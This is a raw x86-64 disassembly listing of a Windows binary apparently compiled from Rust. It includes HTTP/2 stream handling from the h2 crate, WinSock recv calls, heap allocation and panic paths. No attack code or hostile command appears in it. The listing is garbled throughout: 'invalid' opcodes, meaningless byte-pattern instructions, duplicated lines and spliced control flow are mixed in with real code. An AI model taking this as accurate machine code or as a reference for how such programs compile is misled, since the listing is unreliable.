mov ecx, eax
mov rcx, rax
call qword [rdx + ioctlsocket]
mov r11, qword [rsp + 0x80]
mov r8, qword [rsp + 0x48]
mov eax, dword [r8 + 0xcc]
lea ecx, [rax + rbp]
shl rcx, 0x20
mov edx, eax
add edx, ebp
movabs rdx, 0x300000001
cmovo rcx, rdx
test cl, cl
jne 0x1400ed1b2
shr rcx, 0x20
mov dword [r8 + 0xcc], ecx
mov ah, cl
add byte [rax], al
invalid
mov eax, ecx
mov ah, cl
add byte [rax], al
add byte [rcx + 0x74ed85c8], cl
sub dword [rax - 0x75], ecx
mov word [rax + riz*2], fs
add al, byte [rax]
add byte [rbx + 0xfe92909], cl
mov word [rbx + 0x15700000], cs
test ebp, ebp
je 0x1400ed1df
mov rcx, qword [rsp + 0x260]
mov ecx, dword [rcx]
sub ecx, ebp
jl 0x1400eeed4
jo 0x1400ed1df
mov rdx, qword [rsp + 0x260]
mov edx, dword [rsp + 0x260]
mov dword [rdx], ecx
sub eax, ebp
jo 0x1400ed1df
mov dword [r8 + 0xcc], eax
int3
test r11, r11
je 0x1400ed379
mov eax, ebx
cmp r11, 1
cmp ebx, 1
cmp ebx, 1
mov r8d, r15d
jne 0x1400ed391
pshufd xmm0, xmm11, 0xee
movq rax, xmm0
sub rax, r13
mov r13d, 0
cmovae r13, rax
jmp 0x1400ed37c
mov eax, dword [rsp + 0x314]
mov r11d, dword [rsp + 0x318]
mov ebp, dword [rsp + 0x31c]
mov ecx, r15d
mov ecx, edi
mov ecx, edi
dec ecx
lea rdx, [0x14020a948]
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
jmp rcx
mov r8d, r15d
mov eax, ebx
and al, 0xfe
cmp r13, qword [rsp + 0x258]
movzx ecx, bl
movzx eax, al
cmovbe eax, ecx
mov dword [rsp + 0xc4], eax
and bl, 1
mov rax, r11
shr rax, 0x20
mov qword [rsp + 0x40], rax
xor r15d, r15d
mov r9, qword [rsp + 0x50]
mov eax, r12d
mov dword [rsp + 0xa0], r12d
mov eax, esi
mov dword [rsp + 0x9c], esi
mov ecx, dword [rsp + 0x74]
jmp 0x1400ed472
mov edx, r11d
shr edx, 0x10
movzx eax, byte [rsp + 0x310]
cmp rax, 9
mov byte [rsp + 0x3f], bl
mov dword [rsp + 0x74], ecx
je 0x1400ed4a0
test rax, rax
je 0x1400ed4a0
cmp eax, 3
jne 0x1400ed9f0
nop dword [rax]
mov rax, qword [rsp + 0x40]
mov dword [rsp + 0x40], eax
mov dword [rsp + 0x7c], r8d
mov byte [rsp + 0x3e], dil
mov byte [rsp + 0x70], r14b
movdqa xmm8, xmm11
movdqa xmm9, xmm10
mov rbx, qword [rsp + 0x88]
mov r14, qword [rsp + 0x58]
mov dword [rsp + 0xd0], r12d
mov dword [rsp + 0xd4], esi
mov eax, r12d
cmp qword [r9 + 0x10], rax
jbe 0x1400eeba9
mov rcx, qword [r9]
test rcx, rcx
je 0x1400eeba9
mov rcx, qword [rsp + 0x578]
mov rax, qword [rsp + 0x580]
test rdx, rdx
je 0x1400ed71b
mov rcx, qword [rsp + 0xa8]
mov rdx, r14
call fcn.1400f6e40
test rax, rax
jne 0x1400edeff
mov r12, rdx
test rdx, rdx
jne 0x1400edf0e
mov rcx, qword [rsp + 0x260]
mov rdx, qword [rsp + 0x268]
mov r8, qword [rsp + 0x50]
mov r9, r15
call fcn.1400f7be0
test al, al
je 0x1400edf1c
mov rax, qword [rsp + 0x40]
mov edi, eax
jmp 0x1400ec4ed
add byte [rax], al
add al, 0x75
adc dword [rcx - 0x7f], ecx
mov edi, 0x150
idiv esi
invalid
mov ecx, dword [rsp + 0xa8]
mov rdx, r14
call fcn.1400f6e40
test rax, rax
jne 0x1400edfdf
invalid
add byte [rax], al
invalid
mov r12, rdx
test rdx, rdx
jne 0x1400edf15
lea rcx, [rsp + 0x310]
mov ebx, edx
mov rbp, r11
mov r13d, r14d
mov byte [rsp + 0x80], dil
add byte [rax], al
mov edi, r8d
mov r14, r9
call fcn.1400da860
invalid
invalid
invalid
dec dword [rbp - 0x77]
int1
mov r11, rbp
mov edx, ebx
mov rax, qword [rsp + 0x40]
mov dword [rsp + 0x40], eax
mov dword [rsp + 0x7c], edi
jmp 0x1400ed9a3
mov dword [rsp + 0x7c], edi
movzx eax, byte [rsp + 0x80]
mov byte [rsp + 0x3e], al
mov byte [rsp + 0x70], r13b
insb byte [rdi], dx
and al, 0x70
invalid
jo 0x1400eda23
jmp 0x1400ed4b8
jp 0x1400eda36
invalid
invalid
mov word [rax + rsi*8], fs
add al, byte [rax]
add byte [rbx + rcx*4 - 0x5c], al
mov r12d, dword [rsp + 0x2f8]
mov esi, dword [rsp + 0x2fc]
mov r12d, dword [rsp + 0x2f8]
add byte [rax], al
mov esi, dword [rsp + 0x2fc]
jmp 0x1400ece48
mov dword [rsp + 0x40], ebp
mov edi, r11d
shr edi, 0x10
movdqu xmm8, xmmword [rsp + 0x320]
and al, 0x20
add eax, dword [rax]
add byte [rax], al
add byte [rax], al
movdqu xmm9, xmmword [rsp + 0x330]
mov rax, qword [rsp + 0x340]
mov qword [rsp + 0x258], rax
mov eax, dword [rsp + 0x348]
mov dword [rsp + 0xa0], eax
mov eax, dword [rsp + 0x34c]
mov dword [rsp + 0x9c], eax
movzx eax, byte [rsp + 0x350]
mov byte [rsp + 0x3f], al
lea rcx, [rsp + 0x351]
mov eax, dword [rcx]
mov ecx, dword [rcx + 3]
mov dword [rsp + 0x250], eax
mov dword [rsp + 0x253], ecx
mov eax, dword [rsp + 0x358]
add byte [rax], al
test byte [rax + rbx*2], ah
add eax, dword [rax]
add byte [rax], al
mov dword [rsp + 0x7c], eax
invalid
mov dh, 0x84
and al, 0x5c
add byte [rax], al
mov dword [rsp + 0x7c], eax
movzx eax, byte [rsp + 0x35c]
add byte [rax], al
test byte [rsp + rbx*2], ah
add eax, dword [rax]
add byte [rax + 0xf3e2444], cl
movzx eax, byte ds:[rsp + 0x35d]
mov byte [rsp + 0x70], al
movzx eax, byte [rsp + 0x35e]
mov dword [rsp + 0xc4], eax
and al, 0xc4
add byte [rax], al
invalid
add byte [rax], al
mov byte [rsp + 0x3e], al
movzx eax, byte [rsp + 0x35d]
add byte [rax], al
movzx eax, byte ds:[rsp + 0x35d]
add byte [rax], al
mov byte [rsp + 0x70], al
and al, 0x70
movzx eax, byte [rsp + 0x35e]
mov dword [rsp + 0xc4], eax
and al, 0xc4
add byte [rax], al
invalid
and al, 0xc4
add byte [rax], al
add byte [rcx - 0x48], al
invalid
mov r8d, 0xc5
lea rcx, [rsp + 0x460]
add al, 0
add byte [rax - 0x73], cl
lea edx, [rsp + 0x35f]
xchg esp, eax
and al, 0x5f
add eax, dword [rax]
add byte [rcx + rcx*4 - 0x23], cl
xchg esp, eax
and al, 0x5f
add eax, dword [rax]
add byte [rcx + rcx*4 - 0x23], cl
call sub.VCRUNTIME140.dll_memcpy
mov r11, rbp
mov ebx, ebp
mov edx, edi
mov eax, dword [rsp + 0x424]
mov dword [rsp + 0x78], eax
and al, 0x78
mov rax, qword [rsp + 0x428]
mov eax, dword [rsp + 0x428]
mov eax, dword [rsp + 0x428]
add al, 0
add byte [rax - 0x77], cl
test byte [rax + rdi], ah
mov qword [rsp + 0x538], rax
add eax, 0xbfe90000
add byte [rax], al
add byte [rcx + 0x4440246c], cl
mov dword [rsp + 0x40], ebp
mov edx, r11d
jmp 0x1400edc31
mov dword [rsp + 0x40], ebp
mov edx, r11d
shr edx, 0x10
jmp 0x1400edbc8
mov dword [rsp + 0x40], ebp
insb byte [rdi], dx
and al, 0x40
mov edx, r11d
shr edx, 0x10
movdqu xmm8, xmmword [rsp + 0x320]
movdqu xmm9, xmmword [rsp + 0x330]
mov rcx, qword [rsp + 0x340]
add byte [rax], al
mov qword [rsp + 0x258], rcx
mov ecx, dword [rsp + 0x348]
add rax, qword [rax]
invalid
and al, 0x40
add eax, dword [rax]
add byte [rax], al
mov qword [rsp + 0x258], rcx
mov ecx, dword [rsp + 0x348]
add rax, qword [rax]
invalid
add rax, qword [rax]
add byte [rcx + 0xa0248c], cl
add byte [rax], al
mov dword [rsp + 0xa0], ecx
mov ecx, dword [rsp + 0x34c]
add byte [rax], al
mov dword [rsp + 0x9c], ecx
mov word [rsp + rbx*4], fs
add byte [rax], al
add byte [rbx + rcx*4 + 0x4c], cl
and al, 0x50
mov r9, qword [rsp + 0x50]
mov dword [rsp + 0x74], eax
jmp 0x1400ed4cf
mov eax, dword [rsp + 0x40]
mov dword [rsp + 0x40], eax
mov edx, dword [rsp + 0x80]
jmp 0x1400ed4cf
mov r9, qword [rsp + 0x50]
jmp 0x1400ed4cf
test r13d, r13d
je 0x1400eef3c
cmp byte [rbx + 0x1b0], 0
sete al
test r13b, 1
sete cl
xor cl, al
je 0x1400ede7b
cmp dword [rbx + 0xc0], 0
jne 0x1400ede9d
cmp dword [rbx + 0xc4], r13d
ja 0x1400ede9d
lea eax, [r13 + 2]
mov ecx, eax
shr ecx, 0x1f
mov dword [rbx + 0xc0], ecx
mov dword [rbx + 0xc4], eax
jmp 0x1400ede9d
mov rsi, rax
jmp 0x1400edc98
xor esi, esi
mov rbx, qword [rsp + 0x88]
mov edi, dword [rsp + 0x40]
cmp byte [rsp + 0xc0], 0
jne 0x1400edcc1
mov rax, qword [0x1402153f0]
shl rax, 1
test rax, rax
jne 0x1400ee026
mov dword [rsp + 0x40], edi
mov rcx, qword [rsp + 0x530]
mov rdi, qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
call rdi
cmp byte [rsp + 0x304], 0
jne 0x1400edcf3
mov rax, qword [0x1402153f0]
shl rax, 1
test rax, rax
jne 0x1400ee00b
mov rcx, qword [rsp + 0x5a8]
call rdi
test rsi, rsi
jne 0x1400ee09a
test r12, r12
jne 0x1400ee819
mov rax, qword [rsp + 0x2d8]
cmp qword [rax], 0
jne 0x1400edd4a
cmp byte [r15 + 0x3c4], 0
jne 0x1400ee09a
cmp dword [r15 + 0x3b8], 0
je 0x1400ee09a
cmp dword [r15 + 0x3bc], 0x7fffffff
je 0x1400ee09a
mov rdi, qword [r15 + 0x3f0]
lea rsi, [rdi + 0x10]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_AcquireSRWLockExclusive]
mov rax, qword [0x1402153f0]
shl rax, 1
test rax, rax
jne 0x1400edfb4
xor eax, eax
movzx ecx, byte [rdi + 0x18]
test cl, cl
jne 0x1400eee9f
mov rcx, qword [rdi + 0x178]
or rcx, qword [rdi + 0x188]
setne bl
test al, al
jne 0x1400edda7
mov rax, qword [0x1402153f0]
shl rax, 1
test rax, rax
jne 0x1400ee042
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
test bl, bl
jne 0x1400ee09a
mov rcx, qword [r15 + 0x3f0]
add rcx, 0x10
call fcn.1400f0630
mov dword [rsp + 0x120], eax
mov dword [rsp + 0x124], 0
lea rax, [0x1401d3af8]
mov qword [rsp + 0x100], rax
lea rax, [0x140204680]
mov qword [rsp + 0x108], rax
lea rax, [rsp + 0x101]
movups xmmword [rax + 0xf], xmm7
mov rcx, qword [rsp + 0x2e8]
lea rdx, [rsp + 0x100]
call fcn.14006ed50
mov rsi, qword [rsp + 0x2e0]
jmp 0x1400eb83a
call fcn.1401666c0
test al, al
jne 0x1400ebdb2
mov rax, qword [rsp + 0x90]
mov byte [rax + 0x18], 1
jmp 0x1400ebdb2
call fcn.1401666c0
test al, al
jne 0x1400ebdd7
mov byte [rbx + 0x18], 1
jmp 0x1400ebdd7
mov rcx, qword [rsp + 0xa8]
mov rdx, r14
call fcn.1400f6e40
test rax, rax
je 0x1400edfcc
mov rsi, rax
jmp 0x1400edca0
mov rax, qword [rsp + 0xc8]
cmp dword [rax], 0
jne 0x1400ede9d
cmp dword [rbx + 0x24], r13d
ja 0x1400ede9d
lea eax, [r13 + 2]
mov ecx, eax
shr ecx, 0x1f
mov dword [rbx + 0x20], ecx
mov dword [rbx + 0x24], eax
lea rsi, [rsp + 0x100]
mov rcx, rsi
mov edx, r13d
xor r8d, r8d
xor r9d, r9d
call fcn.1400772b0
mov ebp, dword [rsp + 0x214]
mov r14, qword [rbx + 0x1d8]
mov rcx, qword [rsp + 0x50]
mov rdx, r14
mov r8, rsi
call fcn.140076d60
mov rcx, qword [rsp + 0x238]
mov rdx, rdi
mov r8d, r13d
mov r9d, r14d
call fcn.140076e20
mov rdx, qword [rbx + 0x210]
cmp rax, rdx
jb 0x1400ebbf9
jmp 0x1400ee9f4
mov rsi, rax
mov rax, qword [rsp + 0x40]
mov edi, eax
jmp 0x1400edca4
mov rax, qword [rsp + 0x40]
mov edi, eax
xor esi, esi
jmp 0x1400edca4
mov rax, qword [r14]
mov rdx, qword [rax]
mov rcx, qword [rax + 8]
call qword [rdx]
mov rsi, rax
mov r15, rdx
mov rcx, qword [rsp + 0x48]
mov rax, qword [rcx + 0x160]
test rax, rax
je 0x1400edf4e
mov rcx, qword [rcx + 0x168]
call qword [rax + 0x18]
mov rcx, qword [rsp + 0x48]
mov qword [rcx + 0x160], rsi
mov qword [rcx + 0x168], r15
cmp byte [rsp + 0xc0], 0
mov r13, qword [rsp + 0x40]
je 0x1400edfe7
mov edi, r13d
xor r12d, r12d
xor esi, esi
mov r15, qword [rsp + 0x230]
jmp 0x1400edcc1
call fcn.1401666c0
mov edi, eax
xor dil, 1
mov rax, qword [rsp + 0x48]
movzx eax, byte [rax + 0x18]
test al, al
je 0x1400ebf09
jmp 0x1400eee36
call fcn.1401666c0
xor al, 1
mov dword [rsp + 0xc0], eax
jmp 0x1400ebf40
call fcn.1401666c0
xor al, 1
movzx ecx, byte [rdi + 0x18]
test cl, cl
je 0x1400edd7f
jmp 0x1400eee9f
mov r12, rdx
test rdx, rdx
je 0x1400ee058
xor esi, esi
jmp 0x1400edca0
mov rsi, rax
jmp 0x1400edca4
mov rax, qword [0x1402153f0]
shl rax, 1
test rax, rax
mov r15, qword [rsp + 0x230]
jne 0x1400ee07d
mov edi, r13d
xor r12d, r12d
xor esi, esi
jmp 0x1400edcc1
call fcn.1401666c0
test al, al
jne 0x1400edcf3
mov rax, qword [rsp + 0x48]
mov byte [rax + 0x18], 1
jmp 0x1400edcf3
call fcn.1401666c0
mov r13d, edi
test al, al
jne 0x1400edcc1
mov byte [rbx + 0x18], 1
mov edi, r13d
jmp 0x1400edcc1
call fcn.1401666c0
test al, al
jne 0x1400edda7
mov byte [rdi + 0x18], 1
jmp 0x1400edda7
cmp dword [r15 + 0x100], 4
mov esi, 1
jne 0x1400ee078
cmp qword [r15 + 0x150], 0xfffffffffffffef6
jbe 0x1400ebf98
jmp 0x1400edca0
call fcn.1401666c0
mov r12d, 0
mov esi, 0
mov edi, r13d
test al, al
jne 0x1400edcc1
jmp 0x1400ee036
mov byte [rsp + 0x438], 4
jmp 0x1400ee340
lea rcx, [rsp + 0x438]
call fcn.1400696c0
jmp 0x1400ee340
mov edi, dword [r15 + 0x3ec]
movzx ebx, byte [r15 + 0x3e9]
mov rcx, qword [rsp + 0x2d8]
mov rax, qword [rcx + 0x20]
mov qword [rsp + 0x120], rax
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movaps xmmword [rsp + 0x110], xmm1
movaps xmmword [rsp + 0x100], xmm0
mov qword [r15 + 0x400], 0
mov rax, qword [rsp + 0x100]
test rax, rax
je 0x1400ee1b7
lea rsi, [rsp + 0x118]
mov r8, qword [rsp + 0x108]
mov r9, qword [rsp + 0x110]
lea rcx, [rsp + 0x310]
mov rdx, rsi
call qword [rax]
mov ebp, dword [rsp + 0x124]
mov rax, qword [rsp + 0x100]
movups xmm0, xmmword [rsp + 0x310]
movups xmm1, xmmword [rsp + 0x320]
movaps xmmword [rsp + 0x470], xmm1
movaps xmmword [rsp + 0x460], xmm0
test rax, rax
je 0x1400ee17e
mov rdx, qword [rsp + 0x108]
mov r8, qword [rsp + 0x110]
mov rcx, rsi
call qword [rax + reloc.WS2_32.dll_recv]
mov eax, ebp
or eax, edi
je 0x1400ee21f
test ebp, ebp
je 0x1400ee2c4
movdqa xmm0, xmmword [rsp + 0x460]
movdqa xmm1, xmmword [rsp + 0x470]
movdqa xmmword [rsp + 0x100], xmm1
mov sil, 1
mov bl, 2
mov edi, ebp
jmp 0x1400ee311
lea rax, [0x1401d3af8]
mov qword [rsp + 0x310], rax
lea rax, [0x140204680]
mov qword [rsp + 0x318], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x320], xmm0
mov dword [rsp + 0x330], 0
xor ebp, ebp
movaps xmmword [rsp + 0x470], xmm0
mov rax, qword [rsp + 0x310]
mov qword [rsp + 0x460], rax
mov rax, qword [rsp + 0x318]
mov qword [rsp + 0x468], rax
mov eax, ebp
or eax, edi
jne 0x1400ee188
mov sil, 3
jmp 0x1400ee2d2
call fcn.1401666c0
xor al, 1
movzx ecx, byte [rdi + 0x18]
test cl, cl
je 0x1400eb605
mov qword [rsp + 0x100], rsi
mov byte [rsp + 0x108], al
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.21_srcproto_streams_streams.rs
jmp 0x1400eebd5
shl r14, 0x20
or r14, r10
je 0x1400ee6da
movq rsi, xmm10
test rsi, rsi
je 0x1400ee6de
js 0x1400eef80
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x1400ee29e
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1400ee2b5
mov rcx, rax
mov qword [0x140215360], rax
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
jne 0x1400ee6e3
mov ecx, 1
mov rdx, rsi
call fcn.14015d7f0
ud2
xorps xmm0, xmm0
movaps xmmword [rsp + 0x100], xmm0
mov sil, 1
lea rcx, [rsp + 0x478]
mov rax, qword [rsp + 0x460]
mov rdx, qword [rsp + 0x468]
mov r8, qword [rsp + 0x470]
call qword [rax + reloc.WS2_32.dll_recv]
lea rax, [0x140204680]
movq xmm1, rax
lea rax, [0x1401d3af8]
movq xmm0, rax
punpcklqdq xmm0, xmm1
mov byte [rsp + 0x438], sil
mov byte [rsp + 0x439], bl
mov dword [rsp + 0x43c], edi
movdqu xmmword [rsp + 0x440], xmm0
movaps xmm0, xmmword [rsp + 0x100]
movups xmmword [rsp + 0x450], xmm0
mov r8, qword [rsp + 0x548]
cmp r8, 2
je 0x1400ee3fd
lea rdx, [rsp + 0x560]
mov rcx, qword [rsp + 0x550]
mov rax, qword [rsp + 0x558]
test r8, r8
je 0x1400ee381
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x68]
mov r8, qword [rsp + 0x548]
cmp r8, 2
je 0x1400ee3fd
mov rdx, qword [rsp + 0x560]
mov rcx, qword [rsp + 0x550]
mov rax, qword [rsp + 0x558]
test r8, r8
je 0x1400ee3c1
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x80]
mov rax, qword [rsp + 0x548]
cmp rax, 2
je 0x1400ee3fd
test rax, rax
je 0x1400ee3fd
mov rax, qword [rsp + 0x550]
lock dec qword [rax]
jne 0x1400ee3fd
mov rcx, qword [rsp + 0x550]
mov rdx, qword [rsp + 0x558]
call fcn.140069a20
mov r8, qword [rsp + 0x2a0]
cmp r8, 2
je 0x1400ee4ba
lea rdx, [rsp + 0x2b8]
mov rcx, qword [rsp + 0x2a8]
mov rax, qword [rsp + 0x2b0]
test r8, r8
je 0x1400ee43e
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x68]
mov r8, qword [rsp + 0x2a0]
cmp r8, 2
je 0x1400ee4ba
mov rdx, qword [rsp + 0x2b8]
mov rcx, qword [rsp + 0x2a8]
mov rax, qword [rsp + 0x2b0]
test r8, r8
je 0x1400ee47e
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x80]
mov rax, qword [rsp + 0x2a0]
cmp rax, 2
je 0x1400ee4ba
test rax, rax
je 0x1400ee4ba
mov rax, qword [rsp + 0x2a8]
lock dec qword [rax]
jne 0x1400ee4ba
mov rcx, qword [rsp + 0x2a8]
mov rdx, qword [rsp + 0x2b0]
call fcn.140069a20
movzx eax, byte [rsp + 0x438]
cmp eax, 3
je 0x1400ee4f5
cmp eax, 4
je 0x1400ee4ee
lea rcx, [rsp + 0x5c8]
lea rdx, [rsp + 0x438]
call fcn.14006e810
movzx ebx, byte [rsp + 0x5c8]
cmp bl, 6
jne 0x1400ee4f7
mov al, 2
jmp 0x1400ee66e
mov bl, 5
mov rax, qword [rsp + 0x5e8]
mov qword [rsp + 0x32f], rax
movzx eax, byte [rsp + 0x5c9]
mov rcx, qword [rsp + 0x5ca]
mov edx, dword [rsp + 0x5d2]
movzx r8d, word [rsp + 0x5d6]
movzx r9d, byte [rsp + 0x5d8]
movupd xmm0, xmmword [rsp + 0x5d9]
movapd xmmword [rsp + 0x320], xmm0
mov byte [rsp + 0x310], al
mov qword [rsp + 0x311], rcx
mov dword [rsp + 0x319], edx
mov word [rsp + 0x31d], r8w
mov byte [rsp + 0x31f], r9b
mov rsi, qword [rsp + 0xb8]
cmp dword [rsi], 3
je 0x1400eec66
mov rcx, rsi
call fcn.1400ef030
mov qword [rsi], 3
cmp bl, 5
je 0x1400ee668
mov byte [rsp + 0x100], bl
movapd xmm0, xmmword [rsp + 0x310]
movapd xmm1, xmmword [rsp + 0x320]
movupd xmmword [rsp + 0x101], xmm0
movupd xmmword [rsp + 0x111], xmm1
mov rax, qword [rsp + 0x32f]
mov qword [rsp + 0x120], rax
movzx eax, bl
lea ecx, [rax - 2]
cmp ecx, 2
jb 0x1400ee668
test eax, eax
je 0x1400ee668
cmp eax, 1
jne 0x1400ee60e
lea rcx, [rsp + 0x120]
mov rax, qword [rsp + 0x108]
mov rdx, qword [rsp + 0x110]
mov r8, qword [rsp + 0x118]
call qword [rax + reloc.WS2_32.dll_recv]
jmp 0x1400ee668
mov rax, qword [rsp + 0x108]
mov ecx, eax
and ecx, 3
cmp ecx, 1
jne 0x1400ee668
lea rsi, [rax - 1]
mov rdi, qword [rax - 1]
mov r14, qword [rax + 7]
mov rcx, rdi
call qword [r14]
cmp qword [r14 + 8], 0
je 0x1400ee656
cmp qword [r14 + 0x10], 0x11
jb 0x1400ee644
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp bl, 5
setne al
movaps xmm6, xmmword [rsp + 0x6e0]
movaps xmm7, xmmword [rsp + 0x6f0]
movaps xmm8, xmmword [rsp + 0x700]
movaps xmm9, xmmword [rsp + 0x710]
movaps xmm10, xmmword [rsp + 0x720]
movaps xmm11, xmmword [rsp + 0x730]
add rsp, 0x748
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001findexmap_1.9.3_srcmapcore.rs
call fcn.140160ed0
ud2
call fcn.1401666c0
test al, al
jne 0x1400eb639
mov byte [rdi + 0x18], 1
jmp 0x1400eb639
xor ebx, ebx
jmp 0x1400ee6f1
mov ebx, 1
mov rcx, rbx
mov rdx, r14
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsp + 0x101], bpl
mov qword [rsp + 0x108], rbx
pshufd xmm0, xmm10, 0x44
movdqu xmmword [rsp + 0x110], xmm0
mov byte [rsp + 0x100], 2
lea rdx, [rsp + 0x100]
lea rcx, [rsp + 0x330]
call fcn.1400f69b0
mov eax, dword [rsp + 0x100]
mov dword [rsp + 0x278], eax
movzx ecx, word [rsp + 0x104]
mov byte [rsp + 0x439], bpl
mov dword [rsp + 0x43a], eax
mov word [rsp + 0x43e], cx
mov qword [rsp + 0x440], r14
mov qword [rsp + 0x448], rdi
movq qword [rsp + 0x450], xmm10
mov byte [rsp + 0x438], 2
jmp 0x1400ee340
call fcn.1401666c0
test al, al
jne 0x1400eb171
jmp 0x1400ee845
add r8, r8
cmp r8, 0x1000000
mov edi, 0x1000000
cmovb rdi, r8
mov dword [rbx + 0x4c8], edi
mov dword [rbx + 0x4cc], 0
mov rax, qword [rbx + 0x4a8]
mov rdx, rax
shr rdx, 1
shr ecx, 1
lea r8d, [rcx + 0x1dcd6500]
test al, 1
cmove r8d, ecx
imul rax, r8, 0x44b82fa1
shr rax, 0x3c
imul eax, eax, 0x3b9aca00
sub r8d, eax
mov qword [rbx + 0x4a8], rdx
mov dword [rbx + 0x4b0], r8d
mov al, 1
add r13, qword [r15]
jae 0x1400eb553
lea rcx, str.overflow_when_adding_duration_to_instantlibrary_std_src_time.rs
lea r8, [0x1401dbd90]
mov edx, 0x28
call fcn.140161290
ud2
lea rcx, [rsp + 0x438]
mov rdx, r12
call fcn.1400696c0
jmp 0x1400ee340
call fcn.1401666c0
test al, al
jne 0x1400eb5bd
mov ebp, 2
mov rsi, qword [rsp + 0x50]
mov byte [r14 + 0x18], 1
jmp 0x1400eb171
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x1400ee85d
call fcn.140005950
mov rax, qword [rdi + 0x48]
test rax, rax
je 0x1400ee86d
mov rcx, qword [rdi + 0x50]
call qword [rax + 0x18]
mov r8, qword [rbx + 0x4f0]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov dword [rbx + 0x4d8], 0x3b9aca00
movupd xmm0, xmmword [rsp + 0x100]
movupd xmm1, xmmword [rsp + 0x110]
movupd xmmword [rbx + 0x4dc], xmm0
movupd xmmword [rbx + 0x4ec], xmm1
mov eax, dword [rsp + 0x120]
mov dword [rbx + 0x4fc], eax
mov byte [r14 + 0x68], 1
mov ebp, 1
jmp 0x1400eb14b
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001findexmap_1.9.3_srcmapcore_raw.rs
call fcn.140160ed0
ud2
lea rax, [rsp + 0x464]
mov qword [rsp + 0x310], rax
lea rax, [0x14006a5f0]
mov qword [rsp + 0x318], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x100], rax
mov qword [rsp + 0x108], 1
mov qword [rsp + 0x120], 0
lea rax, [rsp + 0x310]
jmp 0x1400ee9ca
lea rax, [rsp + 0x464]
mov qword [rsp + 0x310], rax
lea rax, [0x14006a5f0]
mov qword [rsp + 0x318], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x100], rax
mov qword [rsp + 0x108], 1
mov qword [rsp + 0x120], 0
lea rax, [rsp + 0x310]
jmp 0x1400eea50
lea rax, [rsp + 0x64]
mov qword [rsp + 0xd0], rax
lea rax, [0x14006a5f0]
mov qword [rsp + 0xd8], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x100], rax
mov qword [rsp + 0x108], 1
mov qword [rsp + 0x120], 0
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.21_srcproto_streams_store.rs
lea rcx, [rsp + 0x100]
call fcn.140160e20
ud2
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001findexmap_1.9.3_srcmapcore.rs
mov rcx, rax
call fcn.140160ed0
ud2
lea rax, [rsp + 0x64]
mov qword [rsp + 0xd0], rax
lea rax, [0x14006a5f0]
mov qword [rsp + 0xd8], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x100], rax
mov qword [rsp + 0x108], 1
mov qword [rsp + 0x120], 0
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.21_srcproto_streams_store.rs
lea rcx, [rsp + 0x100]
call fcn.140160e20
ud2
lea rcx, str.assertion_failed:_N::next_stream_.is_none__
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.21_srcproto_streams_store.rs
mov edx, 0x2c
call fcn.140160fb0
ud2
lea rcx, str.called__Option::unwrap____on_a__None__value_rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_strpattern.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.21_srcproto_streams_store.rs
mov edx, 0x2b
call fcn.140160fb0
ud2
lea rax, [rsp + 0xd4]
mov qword [rsp + 0x460], rax
lea rax, [0x14006a5f0]
mov qword [rsp + 0x468], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x100], rax
mov qword [rsp + 0x108], 1
mov qword [rsp + 0x120], 0
lea rax, [rsp + 0x460]
jmp 0x1400ee9ca
lea rax, [rsp + 0xd4]
mov qword [rsp + 0x460], rax
lea rax, [0x14006a5f0]
mov qword [rsp + 0x468], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x100], rax
mov qword [rsp + 0x108], 1
mov qword [rsp + 0x120], 0
lea rax, [rsp + 0x460]
jmp 0x1400eea50
add rdx, rcx
mov qword [rdx + 8], r8
lea rcx, [0x1401d579c]
